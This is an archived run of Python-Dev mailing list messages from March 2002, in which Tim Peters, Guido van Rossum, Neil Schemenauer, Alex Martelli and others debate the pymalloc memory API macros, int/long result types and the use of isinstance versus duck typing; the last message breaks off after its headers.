Subject: [Python-Dev] 2.2.1 release mechanics
In-Reply-To: Michael Hudson's message of "31 Mar 2002 21:39:24 +0100"
References: <2m7knspj43.fsf@starship.python.net>
Message-ID: <2m4riwpj15.fsf@starship.python.net>

Michael Hudson <mwh@python.net> writes:

> I'm aware that I've not been great about keeping people up to date
> about my timing plans for the last couple of releases, so I'd like to
> be a little more organized this time.

Oh, one other thing: RPMs.  Are they going to happen?

-- 
  surely, somewhere, somehow, in the history of computing, at least
  one manual has been written that you could at least remotely
  attempt to consider possibly glancing at.              -- Adam Rixey


From tim.one@comcast.net  Sun Mar 31 20:41:50 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sun, 31 Mar 2002 15:41:50 -0500
Subject: [Python-Dev] Moving forward on the object memory API
In-Reply-To: <20020331110813.A22515@glacier.arctrix.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCMEGJOJAA.tim.one@comcast.net>

[Neil Schemenauer]
> It looks like Tim managed to work some magic and make pymalloc's free
> handle memory allocated by either the system allocator or pymalloc
> itself.

Yes, I believe that's so now.  We'll know better after we try it <wink -- I
did some light contrived testing of mixed uses>.  One more:  provided that
an address was obtained via the system allocator (malloc or realloc), it
should be safe to free it via the pymalloc free even when the GIL is not
held.

> That means we can make PyMem_DEL use the pymalloc's 'free' and
> make PyObject_NEW use pymalloc's 'malloc'.

It means we have a *lot* more freedom in mixing and matching now.
Unfortunately, this comes down to spelling out what "the rules" actually
are, and there's been no progress on that.  The only feedback I've gotten on
the two exhaustive tables I posted earlier was along the lines of "geez,
this really is a mess -- I'm not sure what to do".

> Here's my plan for making this happen:
>
>     #define PyMem_MALLOC(n)         malloc(n)
>     #define PyMem_REALLOC(p, n)     realloc((void *)(p), (n))
>     #define PyMem_FREE(p)           free((void *)(p))

Is there a reason not to make these the simpler

#define PyMem_MALLOC malloc

etc?

> I think making PyMem_FREE call free() is safe.  I haven't seen any
> extension modules allocate with PyObject_NEW and free with PyMem_FREE.

What about PyMem_Free()?  You reported that MySQL-python-0.3.5 and crng-1.1
mix PyObject_NEW with PyMem_Free.

Note that Guido recently reported:

    The memory thus allocated is returned by PyOS_Readline() (which calls
    either function through a hook pointer), and both its callers (the
    tokenizer and raw_input()) free the result using PyMem_DEL or
    PyMem_FREE (these two seem to be used synonymically).

If that's so, PyMem_DEL and PyMem_FREE should be the same (but that grates
on me too, FWIW).

> We deprecate the PyMem_* functions.

This may hit two snags:  the docs *currently* say (and have for some time)
that all of

   PyMem_{MALLOC, REALLOC, FREE, NEW, RESIZE, DEL}

are "deprecated in extension modules".  The docs encourage using the PyMem
function spellings instead (or perhaps the docs insist on that -- it depends
on what the docs mean by "deprecated"; IMO deprecation is without
consequence in any context where we can't deliver warning msgs for at least
a release cycle -- else we'll never actually get rid of "deprecated" stuff).
The rationale has to do with cross-release binary compatibility:  if an
extension spells a thing PyMem_Malloc, they have "a right" to expect that
their extension won't need to be recompiled across releases just because
Python changes what PyMem_MALLOC does.

> There's no need for them, IMHO:
>
>     #define PyMem_Malloc PyMem_MALLOC
>     #define PyMem_New PyMem_NEW
>     #define PyMem_Resize PyMem_RESIZE
>     #define PyMem_Free PyMem_DEL
>     #define PyMem_Del PyMem_DEL
>     /* See comment near MALLOC_ZERO_RETURNS_NULL in pyport.h. */
>     #define PyMem_Realloc(p, n) \
>             do { \
>                     size_t _n = n; \
>                     PyMem_REALLOC(p, _n ? _n : 1); \
>             } while (0)

Note that PyMem_Realloc needs to return a result (else, e.g., the user can't
know whether it failed).  In any case, I predict Guido will say that the
function spellings must indeed be functions, and are still the recommended
way, and that the macro spellings are still deprecated for use in extensions
(but not in the core), and that "deprecated" in this context will continue
to mean nothing stronger than "should, but there's no actual consequence if
you don't, apart from opening yourself up to possible x-release binary
incompatibility".

> Next, we base PyObject_{MALLOC,REALLOC,FREE} on pymalloc.

No problem there:  if we don't, I wasted my last few days.

>  Basically:
>
>     #ifdef WITH_PYMALLOC
>     #define PyObject_MALLOC(n)      _PyMalloc_Malloc(n)
>     #define PyObject_REALLOC(op, n) _PyMalloc_Realloc((void *)(op), (n))
>     #define PyObject_FREE(op)       _PyMalloc_Free((void *)(op))
>     #else
>     #define PyObject_MALLOC(n)      PyMem_MALLOC(n)
>     #define PyObject_REALLOC(op, n) PyMem_REALLOC((void *)(op), (n))
>     #define PyObject_FREE(op)       PyMem_FREE((void *)(op))
>     #endif

Again I wonder why these aren't simply name substitutions ("#define
PyObject_MALLOC _PyMalloc_Malloc", etc).

> PyMem_DEL and PyMem_Free need to call pymalloc:
>
>     #define PyMem_DEL(op) PyObject_FREE(op)

At least those two, yes (see above for questions about whether PyMem_FREE
also needs to play along; but I'd sure like *some* way for an extension
author to say "give me the same damn platform free() Python uses, without
any damn wrappers").

> We go through the source and replace all the PyMem_* function calls with
> the equivalent PyMem_* macro calls and replace PyMem_DEL with
> PyMem_FREE.

As above, I expect Guido will resist at least part of this part.

> The recommended API for extension modules writers would be
> PyMem_{MALLOC,REALLOC,NEW,RESIZE,FREE},

Ditto, but more so, since it's a 180 degree reversal of what the docs have
(at least) recommended.

> PyObject_{New,NewVar,Del}, and PyObject_GC_{New,NewVar,Del}.

This part should be non-controversial so far as it goes.  But the docs don't
currently give any cautions about using the macro versions of PyObject_XXX,
and in addition to those we're also missing PyObject_{Malloc, MALLOC,
Realloc, REALLOC, Free, FREE} and PyObject_GC_Resize in this account.
Straightening all that out again requires agreeing on what the rules really
are.  I think ultimately has to come from Guido, but the best way to get
that to happen is to provoke him with schemes he doesn't like <wink>.



From guido@python.org  Sun Mar 31 20:56:44 2002
From: guido@python.org (Guido van Rossum)
Date: Sun, 31 Mar 2002 15:56:44 -0500
Subject: [Python-Dev] "result type only depends on operand types"...?
In-Reply-To: Your message of "Sun, 31 Mar 2002 18:38:58 +0100."
 <02033119385806.11947@arthur>
References: <02033119385806.11947@arthur>
Message-ID: <200203312056.g2VKuiF23636@pcp742651pcs.reston01.va.comcast.net>

> Back on March 10 in the thread on PEP 285 Guido wrote:
> 
> """
> This is a very general rule that I like a lot: that the type of a
> result should only depend on the type of the arguments, not on their
> values.  I expect that this rule will make reasoning about programs
> (as in PsyCo or PyChecker) easier to do.
> 
> I recently caved in and allowed an exception: 2**2 returns an int, but
> 2**-2 returns a float.  This was a case of "practicality beats
> purity".  I don't see True-1 in the same league though.
> """
> 
> And yet...:
> 
> >>> type(2**10)
> <type 'int'>
> >>> type(2**100)
> <type 'long'>
> 
> ...doesn't this apply to many operators on ints in 2.2?  Yet _another_
> (set of) exception(s) with practicality beating purity?  Perhaps, but if a 
> "very general rule" has so many exceptions in frequent and fundamental
> cases, is it a rule at all...?

Oh, go away.  That's part of PEP 237.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Sun Mar 31 20:58:07 2002
From: guido@python.org (Guido van Rossum)
Date: Sun, 31 Mar 2002 15:58:07 -0500
Subject: [Python-Dev] "result type only depends on operand types"...?
In-Reply-To: Your message of "Sun, 31 Mar 2002 12:52:09 EST."
 <20020331175209.GA16581@panix.com>
References: <02033119385806.11947@arthur>
 <20020331175209.GA16581@panix.com>
Message-ID: <200203312058.g2VKw7U23647@pcp742651pcs.reston01.va.comcast.net>

> Channeling Guido: this isn't an "exception", this is a phased step in
> the progress toward unifying ints and longs.

You say it so much better than I could. :-)

> Eventually, the distinction will go away except for explicitly
> declared platform ints, and an overflow error on a platform int will
> once again raise an exception rather than transforming
> automatically.

Um, what's a platform int?  Unless you're talking about a NumPy
feature?

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Sun Mar 31 21:07:59 2002
From: guido@python.org (Guido van Rossum)
Date: Sun, 31 Mar 2002 16:07:59 -0500
Subject: [Python-Dev] Moving forward on the object memory API
In-Reply-To: Your message of "Sun, 31 Mar 2002 11:08:13 PST."
 <20020331110813.A22515@glacier.arctrix.com>
References: <20020331110813.A22515@glacier.arctrix.com>
Message-ID: <200203312107.g2VL7xP23687@pcp742651pcs.reston01.va.comcast.net>

> It looks like Tim managed to work some magic and make pymalloc's free
> handle memory allocated by either the system allocator or pymalloc
> itself.  That means we can make PyMem_DEL use the pymalloc's 'free' and
> make PyObject_NEW use pymalloc's 'malloc'.  Here's my plan for making
> this happen:
> 
>     #define PyMem_MALLOC(n)         malloc(n)
>     #define PyMem_REALLOC(p, n)     realloc((void *)(p), (n))
>     #define PyMem_FREE(p)           free((void *)(p))

+1

> I think making PyMem_FREE call free() is safe.  I haven't seen any
> extension modules allocate with PyObject_NEW and free with PyMem_FREE.
> We deprecate the PyMem_* functions.  There's no need for them, IMHO:
> 
>     #define PyMem_Malloc PyMem_MALLOC
>     #define PyMem_New PyMem_NEW
>     #define PyMem_Resize PyMem_RESIZE
>     #define PyMem_Free PyMem_DEL
>     #define PyMem_Del PyMem_DEL
>     /* See comment near MALLOC_ZERO_RETURNS_NULL in pyport.h. */
>     #define PyMem_Realloc(p, n) \
>             do { \
>                     size_t _n = n; \
>                     PyMem_REALLOC(p, _n ? _n : 1); \
>             } while (0)

+1

> Next, we base PyObject_{MALLOC,REALLOC,FREE} on pymalloc.  Basically:
> 
>     #ifdef WITH_PYMALLOC
>     #define PyObject_MALLOC(n)      _PyMalloc_Malloc(n)
>     #define PyObject_REALLOC(op, n) _PyMalloc_Realloc((void *)(op), (n))
>     #define PyObject_FREE(op)       _PyMalloc_Free((void *)(op))
>     #else
>     #define PyObject_MALLOC(n)      PyMem_MALLOC(n)
>     #define PyObject_REALLOC(op, n) PyMem_REALLOC((void *)(op), (n))
>     #define PyObject_FREE(op)       PyMem_FREE((void *)(op))
>     #endif

Couldn't these always use the first set of definitions?  I suppose
that when configured --without-pymalloc, _PyMalloc_Malloc and friends
are aliases for malloc?

Also, do we need these at all?  (Hm, I must be missing something, but
I can't figure what.)

> PyMem_DEL and PyMem_Free need to call pymalloc:
> 
>     #define PyMem_DEL(op) PyObject_FREE(op)

Why not _PyMalloc_Malloc?

> We go through the source and replace all the PyMem_* function calls with
> the equivalent PyMem_* macro calls and replace PyMem_DEL with
> PyMem_FREE.

Or PyObject_Del (depending on the situation)?

> The recommended API for extension modules writers would be
> PyMem_{MALLOC,REALLOC,NEW,RESIZE,FREE}, PyObject_{New,NewVar,Del}, and
> PyObject_GC_{New,NewVar,Del}.

Is there a difference between PyMem_MALLOC and PyMem_NEW?  Between
PyMem_REALLOC and PyMem_RESIZE?  If there isn't, shouldn't we
recommend one set and deprecate the other?  I think I like the NEW
family best (it's got seniority).

I suppose the patches that changed PyObject_New into PyMalloc_New can
be reverted now?

Finally, there still seem to be too many macros and functions. But
it's better than before!

--Guido van Rossum (home page: http://www.python.org/~guido/)


From aahz@pythoncraft.com  Sun Mar 31 21:08:55 2002
From: aahz@pythoncraft.com (Aahz)
Date: Sun, 31 Mar 2002 16:08:55 -0500
Subject: [Python-Dev] "result type only depends on operand types"...?
In-Reply-To: <200203312058.g2VKw7U23647@pcp742651pcs.reston01.va.comcast.net>
References: <02033119385806.11947@arthur> <20020331175209.GA16581@panix.com> <200203312058.g2VKw7U23647@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <20020331210855.GA11915@panix.com>

On Sun, Mar 31, 2002, Guido van Rossum wrote:
>> 
>> Eventually, the distinction will go away except for explicitly
>> declared platform ints, and an overflow error on a platform int will
>> once again raise an exception rather than transforming
>> automatically.
> 
> Um, what's a platform int?  Unless you're talking about a NumPy
> feature?

Well, I'm assuming (perhaps falsely) that there will be some way of
saying, "give me a fixed-width register integer".  But I'm not going to
worry about it; if that's not part of the current plan and people whine
about it, they can write an extension and contribute it to the core after
it proves itself.  (Possibly make it part of the os package as a
sub-module if/when it gets integrated.)

If NumPy ever gets integrated into the core, that would be the
appropriate place to put it.  (I don't use NumPy; it might actually do
that already.)

(Note that I didn't actually re-read PEP 237 before channeling you.  ;-)
-- 
Aahz (aahz@pythoncraft.com)           <*>         http://www.pythoncraft.com/

Why is this newsgroup different from all other newsgroups?


From guido@python.org  Sun Mar 31 21:13:48 2002
From: guido@python.org (Guido van Rossum)
Date: Sun, 31 Mar 2002 16:13:48 -0500
Subject: [Python-Dev] Evil isinstance()
In-Reply-To: Your message of "Sun, 31 Mar 2002 20:43:48 +0100."
 <02033121434808.11947@arthur>
References: <02033119385806.11947@arthur> <20020331175209.GA16581@panix.com>
 <02033121434808.11947@arthur>
Message-ID: <200203312113.g2VLDmN23709@pcp742651pcs.reston01.va.comcast.net>

> What I recommend, FWIW, until and unless PEP 246 eventuates
> and makes the world wonderful:
> 
> # if there's a specifically relevant special-method, such as __int__ is for
> # int(), you can of course first try getting thearg.__int__ -- if that
> # fails, or if nothing that relevant applies, you can then proceed with
> # something along the lines of:
> 
> try: thearg+''
> except TypeError: pass
> else:
>     "do the stringlike case here"
> 
> try: thearg+0
> except TypeError: pass
> else:
>     "do the numberlike case here"

I'm vaguely unhappy with catching exceptions here -- there might be
side effects, and they may mask bugs in user-defined classes that try
to implement __add__ (especially since TypeError is a common symptom
of a bug).

> Why would you want your function to break if called with an instance
> of UserString, say, or a user-defined number type?  Smooth
> polymorphism is high on the list of Python's strong points -- why
> break it, when you can preserve this excellent quality?

I'm for this; but it's hard to pick the right test in many cases.
Many types define both __str__ and __int__ -- but either may lose
information (in the case of a float, these *both* lose information!).

This leaves me in the uncomfortable position that I don't know what to
recommend. :-(

--Guido van Rossum (home page: http://www.python.org/~guido/)


From aahz@pythoncraft.com  Sun Mar 31 21:21:46 2002
From: aahz@pythoncraft.com (Aahz)
Date: Sun, 31 Mar 2002 16:21:46 -0500
Subject: [Python-Dev] Evil isinstance()
In-Reply-To: <200203312113.g2VLDmN23709@pcp742651pcs.reston01.va.comcast.net>
References: <02033119385806.11947@arthur> <20020331175209.GA16581@panix.com> <02033121434808.11947@arthur> <200203312113.g2VLDmN23709@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <20020331212146.GC11915@panix.com>

On Sun, Mar 31, 2002, Guido van Rossum wrote:
>Alex Martelli:
>>
>> Why would you want your function to break if called with an instance
>> of UserString, say, or a user-defined number type?  Smooth
>> polymorphism is high on the list of Python's strong points -- why
>> break it, when you can preserve this excellent quality?
> 
> I'm for this; but it's hard to pick the right test in many cases.
> Many types define both __str__ and __int__ -- but either may lose
> information (in the case of a float, these *both* lose information!).

Yup, this is precisely what I'm concerned with.  My use case for any
discussion of this subject is my BCD project (which I haven't worked on
in several months, but never mind).  I need to be able to accept floats,
ints/longs, and string representations of numbers, all at the maximum
possible precision for each type.  I suppose I could create helper
functions called e.g. BCDfromString() and force people to do explicit
conversions, but that seems messy to me -- and it contravenes the way
int()/str()/float() work.

(Alex, IIRC, the last time we had this discussion you agreed that I
didn't have any choice.)

Note that these days with new-style classes the situation is actually
better: inherit from the built-in types, and isinstance() works
correctly.
-- 
Aahz (aahz@pythoncraft.com)           <*>         http://www.pythoncraft.com/

Why is this newsgroup different from all other newsgroups?


From guido@python.org  Sun Mar 31 21:26:42 2002
From: guido@python.org (Guido van Rossum)
Date: Sun, 31 Mar 2002 16:26:42 -0500
Subject: [Python-Dev] Moving forward on the object memory API
In-Reply-To: Your message of "Sun, 31 Mar 2002 15:41:50 EST."
 <LNBBLJKPBEHFEDALKOLCMEGJOJAA.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCMEGJOJAA.tim.one@comcast.net>
Message-ID: <200203312126.g2VLQg323942@pcp742651pcs.reston01.va.comcast.net>

> Note that Guido recently reported:
> 
>     The memory thus allocated is returned by PyOS_Readline() (which calls
>     either function through a hook pointer), and both its callers (the
>     tokenizer and raw_input()) free the result using PyMem_DEL or
>     PyMem_FREE (these two seem to be used synonymically).
> 
> If that's so, PyMem_DEL and PyMem_FREE should be the same (but that grates
> on me too, FWIW).

I'd be happy to clean up the PyOS_Readline mess, which IMO is unique
in the Python core (one of the *very* few spots I know of that
allocates memory without the GIL).

> I think ultimately has to come from Guido, but the best way to get
> that to happen is to provoke him with schemes he doesn't like <wink>.

I prefer to sit down with you and go over this systematically.  The
asynchrony of email (and my lack of attention span when reading email
while watching Orlijn) makes it hard to do a good job in email.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Sun Mar 31 21:30:21 2002
From: guido@python.org (Guido van Rossum)
Date: Sun, 31 Mar 2002 16:30:21 -0500
Subject: [Python-Dev] "result type only depends on operand types"...?
In-Reply-To: Your message of "Sun, 31 Mar 2002 16:08:55 EST."
 <20020331210855.GA11915@panix.com>
References: <02033119385806.11947@arthur> <20020331175209.GA16581@panix.com> <200203312058.g2VKw7U23647@pcp742651pcs.reston01.va.comcast.net>
 <20020331210855.GA11915@panix.com>
Message-ID: <200203312130.g2VLULX23965@pcp742651pcs.reston01.va.comcast.net>

> > Um, what's a platform int?  Unless you're talking about a NumPy
> > feature?
> 
> Well, I'm assuming (perhaps falsely) that there will be some way of
> saying, "give me a fixed-width register integer".

Not in Python source code.  I don't see why you'd want that.

Of course, C code has this and has always had this, e.g. the "i"
format code in PyArg_ParseTuple().

> But I'm not going to worry about it; if that's not part of the
> current plan and people whine about it, they can write an extension
> and contribute it to the core after it proves itself.  (Possibly
> make it part of the os package as a sub-module if/when it gets
> integrated.)

A wise man once said: worrying is interest paid on problems not yet
due.

> If NumPy ever gets integrated into the core, that would be the
> appropriate place to put it.  (I don't use NumPy; it might actually do
> that already.)

I think NumPy has a way to create arrays whose elements are
variously-sized machine ints and floats.  I don't know that it has
corresponding scalar types -- I thing these all get mapped to the
standard Python types.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From aleax@aleax.it  Sun Mar 31 21:29:44 2002
From: aleax@aleax.it (Alex Martelli)
Date: Sun, 31 Mar 2002 22:29:44 +0100
Subject: [Python-Dev] Evil isinstance()
In-Reply-To: <200203312113.g2VLDmN23709@pcp742651pcs.reston01.va.comcast.net>
References: <02033119385806.11947@arthur> <02033121434808.11947@arthur> <200203312113.g2VLDmN23709@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <0203312329440J.11947@arthur>

On Sunday 31 March 2002 23:13, Guido van Rossum wrote:
	...
> > try: thearg+0
> > except TypeError: pass
> > else:
> >     "do the numberlike case here"
>
> I'm vaguely unhappy with catching exceptions here -- there might be
> side effects, and they may mask bugs in user-defined classes that try
> to implement __add__ (especially since TypeError is a common symptom
> of a bug).

Good point, but... if a user-defined class raises TypeError when I try
to add 0 to an instance thereof, then I _can't_ use said instance as a
number... whether because of a bug in said class, or because said class
is not intended to be number-like, I *can't* use it, so I won't.  I will
then similarly discover I can't use it as a string either, and end up by
raising TypeError because by hypothesis I don't know what else to do.

This doesn't seem so much of a problem to me to warrant rejecting perfectly 
good numberlike and stringlike classes' instances, by isinstance'ing away.

If a user-defined class is coded to have side effects on __add__, I think
any attempt to use instances of that class is doomed to produce weird
effects.  By that token, the user could subclass int (so isinstance passes)
and still do weird things in any overridden method, so I think this is a
case of "against stupidity, the god themselves struggle in vain" and would
not lose sleep over it.


> > Why would you want your function to break if called with an instance
> > of UserString, say, or a user-defined number type?  Smooth
> > polymorphism is high on the list of Python's strong points -- why
> > break it, when you can preserve this excellent quality?
>
> I'm for this; but it's hard to pick the right test in many cases.

Oh yes, definitely.

> Many types define both __str__ and __int__ -- but either may lose
> information (in the case of a float, these *both* lose information!).

Every subclass of object has __str__, so having it supplies no information
(of any practical usefulness) about the class.

__int__ may well lose information -- that's how it's defined, after all --
but having it might be taken as one possible test of numberhood


> This leaves me in the uncomfortable position that I don't know what to
> recommend. :-(

In your shoes, I'd recommend PEP 246 -- since, if I were in your shoes,
I'd have approved it long ago.  (We don't need to have interfaces as a
distinct concept from types/classes to approve PEP 246 -- any types
can serve as 'protocols' to make PEP 246 a reality).  It would offer a very
good solution to problems in this category, in my opinion.


Alex



From aleax@aleax.it  Sun Mar 31 21:44:38 2002
From: aleax@aleax.it (Alex Martelli)
Date: Sun, 31 Mar 2002 22:44:38 +0100
Subject: [Python-Dev] Evil isinstance()
In-Reply-To: <20020331212146.GC11915@panix.com>
References: <02033119385806.11947@arthur> <200203312113.g2VLDmN23709@pcp742651pcs.reston01.va.comcast.net> <20020331212146.GC11915@panix.com>
Message-ID: <0203312344380K.11947@arthur>

On Sunday 31 March 2002 23:21, Aahz wrote:
	...
> in several months, but never mind).  I need to be able to accept floats,
> ints/longs, and string representations of numbers, all at the maximum
> possible precision for each type.  I suppose I could create helper
	...
> (Alex, IIRC, the last time we had this discussion you agreed that I
> didn't have any choice.)

The "maximum possible precision" constraint may leave you no choice
(within current Python, bereft of PEP 246) for e.g. longs and floats, but
I still don't see why it's better to reject UserString than to test with a
try/except on x+''.

> Note that these days with new-style classes the situation is actually
> better: inherit from the built-in types, and isinstance() works
> correctly.

To me, this means you're basically forced to use inheritance (which is
mostly meant as inheritance of implementation) for _flagging_ purposes.
I find it detestable, and the inability of multiply inheriting from several
builtin types still leaves me in a quandary when I want to flag my
type's compatibility with more than one of them -- I have to choose by
guessing which of them I'm more liable to be typechecked against...

Unicode doesn't inherit from str, yet by the 'flagging' criterion it 
should, for example (or dearly hope every deuced isinstance-happy function 
in every deuced library remembers in its deuced typechecks to add one for
Unicode next to the one for str).  gmpy.mpf instances don't subclass float
and it would be (IMHO) an utterly silly thing for them to do so -- yet they
WOULD be usable if, instead of by isinstance, they were tested by their
abilities, in many cases.  And what builtin are you subclassing your BCD
class from to make its instances usable in other frameworks full of those
isinstance checks...?

There is no perfect solution, without PEP 246, but it seems to me that
(except where peculiar specific conditions such as the need to lose no
precision force the issue) isinstance tends to be more imperfect than
others.  Incidentally, to clarify: _with_ PEP 246, the need to lose no
precision at all might _still_ give problems; e.g., if you asked an mpf to
conform to float, you might indeed be losing significance -- in this case,
somebody (you as the BCD maintainer, I as the gmpy maintainer, OR,
crucially, any third party non-invasively to both packages) would have
to code a specific adapter.  The PEP246 advantage would be to GIVE
said 3rd party (or either of us) the right peg on which to hang such a
specific adapter -- it still wouldn't magically write one for us:-).


Alex


From martin@v.loewis.de  Sun Mar 31 21:43:33 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 31 Mar 2002 23:43:33 +0200
Subject: [Python-Dev] Re: Removing METH_OLDARGS
In-Reply-To: <3CA73408.8F4C9110@metaslash.com>
References: <3C9F4AC0.C076679B@metaslash.com>
 <m3sn6oecv1.fsf@mira.informatik.hu-berlin.de>
 <3CA73408.8F4C9110@metaslash.com>
Message-ID: <m3it7co1kq.fsf@mira.informatik.hu-berlin.de>

Neal Norwitz <neal@metaslash.com> writes:

> I've finished the first step of getting rid of many uses of METH_OLDARGS.

Good work! I could not spot errors in you changes.

For mpz, it might be useful to get rid of MPZ_CONVERSIONS_AS_METHODS
altogether (probably of a few others as well, but that would be more
difficult to analyse).

Regards,
Martin


From martin@v.loewis.de  Sun Mar 31 21:55:57 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 31 Mar 2002 23:55:57 +0200
Subject: [Python-Dev] Moving forward on the object memory API
In-Reply-To: <20020331110813.A22515@glacier.arctrix.com>
References: <20020331110813.A22515@glacier.arctrix.com>
Message-ID: <m3eli0o102.fsf@mira.informatik.hu-berlin.de>

Neil Schemenauer <nas@python.ca> writes:

> We deprecate the PyMem_* functions.  There's no need for them, IMHO:

-1. The rationale behind the function spellings is, as Tim explains,
cross-version compatibility. 

Do we need to bump the API version after these changes?

Regards,
Martin


From tim.one@comcast.net  Sun Mar 31 22:05:59 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sun, 31 Mar 2002 17:05:59 -0500
Subject: [Python-Dev] Moving forward on the object memory API
In-Reply-To: <200203312126.g2VLQg323942@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCCEHBOJAA.tim.one@comcast.net>

[Guido]
> I prefer to sit down with you and go over this systematically.  The
> asynchrony of email (and my lack of attention span when reading email
> while watching Orlijn) makes it hard to do a good job in email.

Here's a start:  these are all the public-API get/resize/free names we
exposed in 2.2:


malloc, realloc, free

PyMem_{Malloc, Realloc, Free}
PyMem_{MALLOC, REALLOC, FREE}
PyMem_{New, Resize, Del}
PyMem_{NEW, RESIZE, DEL}

PyObject_{Malloc, Realloc, Free}
PyObject_{MALLOC, REALLOC, FREE}
PyObject_{New, NewVar, Del}
PyObject_{NEW, NEWVAR, DEL}

PyObject_GC_{New, NewVar, Resize, Del}


All that remains <wink> is to spell out the rules each follows in 2.3:

+ Is or isn't it deprecated?  If it is deprecated, does that mean
  something stronger than "should not use it, but may"?  Does the
  answer vary according to whether it's used in the core or in an
  extension?

+ Does it guarantee binary compatibility across releases?

+ Under what conditions must the GIL be held when calling it?

+ Exactly which other memory functions can it be mixed with?

+ Can it be passed as an argument?  That is, if N is one of names above,
  is f(N) a supported use for user-defined C functions f?

The only non-interesting question (to me) is whether each is "really a
function" or "really a macro" -- that's an implementation detail, and C code
following the rules shouldn't care.



From tim.one@comcast.net  Sun Mar 31 22:08:28 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sun, 31 Mar 2002 17:08:28 -0500
Subject: [Python-Dev] Moving forward on the object memory API
In-Reply-To: <m3eli0o102.fsf@mira.informatik.hu-berlin.de>
Message-ID: <LNBBLJKPBEHFEDALKOLCKEHBOJAA.tim.one@comcast.net>

[Martin v. Loewis]
> Do we need to bump the API version after these changes?

At this point I think it's impossible to know -- it depends on how all the
questions get answered.  It seems quite possible to do things in a way
binary compatible with 2.2, *if* that's desired, and if you read ambiguities
in the docs the right way <wink>.



From nas@python.ca  Sun Mar 31 22:13:04 2002
From: nas@python.ca (Neil Schemenauer)
Date: Sun, 31 Mar 2002 14:13:04 -0800
Subject: [Python-Dev] Moving forward on the object memory API
In-Reply-To: <LNBBLJKPBEHFEDALKOLCMEGJOJAA.tim.one@comcast.net>; from tim.one@comcast.net on Sun, Mar 31, 2002 at 03:41:50PM -0500
References: <20020331110813.A22515@glacier.arctrix.com> <LNBBLJKPBEHFEDALKOLCMEGJOJAA.tim.one@comcast.net>
Message-ID: <20020331141304.A23023@glacier.arctrix.com>

Tim Peters wrote:
> Is there a reason not to make these the simpler
> 
> #define PyMem_MALLOC malloc
> 
> etc?

It adds a type cast in some cases.  We should keep is simple were it
doesn't matter.

> > I think making PyMem_FREE call free() is safe.  I haven't seen any
> > extension modules allocate with PyObject_NEW and free with PyMem_FREE.
> 
> What about PyMem_Free()?  You reported that MySQL-python-0.3.5 and crng-1.1
> mix PyObject_NEW with PyMem_Free.

PyMem_FREE would call free() by PyMem_Free would call _PyMalloc_Free.
PyMem_FREE is relatively new.  1.5.2 only had PyMem_DEL and that was the
recommended way to free object memory.  PyMem_Free is new too but based
on my survey, some people use it for freeing object memory.


> > We deprecate the PyMem_* functions.
> 
> This may hit two snags:  the docs *currently* say (and have for some time)
> that all of
> 
>    PyMem_{MALLOC, REALLOC, FREE, NEW, RESIZE, DEL}
> 
> are "deprecated in extension modules".  The docs encourage using the PyMem
> function spellings instead (or perhaps the docs insist on that -- it depends
> on what the docs mean by "deprecated"; IMO deprecation is without
> consequence in any context where we can't deliver warning msgs for at least
> a release cycle -- else we'll never actually get rid of "deprecated" stuff).

I guess we could deprecate the uppercase versions and make the lowercase
ones macros.  As far as warnings go, I think the alternative spellings
should be allowed for a long time to come.  We can't just keep changing
our tune and expect the extension writers dance. :-)

> The rationale has to do with cross-release binary compatibility:  if an
> extension spells a thing PyMem_Malloc, they have "a right" to expect that
> their extension won't need to be recompiled across releases just because
> Python changes what PyMem_MALLOC does.

I thought we decided that making PyMem_MALLOC do anything but malloc()
was hopeless?  The only reason the PyMem_* layer is there is that so
adventurous people can replace the system malloc() with something like a
conservative GC malloc.  In that case the extensions would have to be
recompiled.

> In any case, I predict Guido will say that the function spellings must
> indeed be functions, and are still the recommended way

That's fine.  I was just trying to cut down the number of functions and
macros.

> > PyObject_{New,NewVar,Del}, and PyObject_GC_{New,NewVar,Del}.
> 
> This part should be non-controversial so far as it goes.  But the docs don't
> currently give any cautions about using the macro versions of PyObject_XXX,
> and in addition to those we're also missing PyObject_{Malloc, MALLOC,
> Realloc, REALLOC, Free, FREE} and PyObject_GC_Resize in this account.
> Straightening all that out again requires agreeing on what the rules really
> are.  I think ultimately has to come from Guido, but the best way to get
> that to happen is to provoke him with schemes he doesn't like <wink>.

Extensions can use PyObject_{Malloc,Realloc,Free} but the type based
allocators are preferred.  Extensions should not use
PyObject_{MALLOC,REALLOC,FREE}.

I forget about PyObject_Resize and PyObject_GC_Resize.  They should be
part of the preferred API.

  Neil


From nas@python.ca  Sun Mar 31 22:16:00 2002
From: nas@python.ca (Neil Schemenauer)
Date: Sun, 31 Mar 2002 14:16:00 -0800
Subject: [Python-Dev] Moving forward on the object memory API
In-Reply-To: <m3eli0o102.fsf@mira.informatik.hu-berlin.de>; from martin@v.loewis.de on Sun, Mar 31, 2002 at 11:55:57PM +0200
References: <20020331110813.A22515@glacier.arctrix.com> <m3eli0o102.fsf@mira.informatik.hu-berlin.de>
Message-ID: <20020331141600.B23023@glacier.arctrix.com>

Martin v. Loewis wrote:
> Neil Schemenauer <nas@python.ca> writes:
> 
> > We deprecate the PyMem_* functions.  There's no need for them, IMHO:
> 
> -1. The rationale behind the function spellings is, as Tim explains,
> cross-version compatibility. 

What kind of cross-version compatibility are you referring to?

> Do we need to bump the API version after these changes?

Why?  The API version is for the source API, not the binary API, right?

  Neil


From guido@python.org  Sun Mar 31 22:19:55 2002
From: guido@python.org (Guido van Rossum)
Date: Sun, 31 Mar 2002 17:19:55 -0500
Subject: [Python-Dev] Evil isinstance()
In-Reply-To: Your message of "Sun, 31 Mar 2002 22:29:44 +0100."
 <0203312329440J.11947@arthur>
References: <02033119385806.11947@arthur> <02033121434808.11947@arthur> <200203312113.g2VLDmN23709@pcp742651pcs.reston01.va.comcast.net>
 <0203312329440J.11947@arthur>
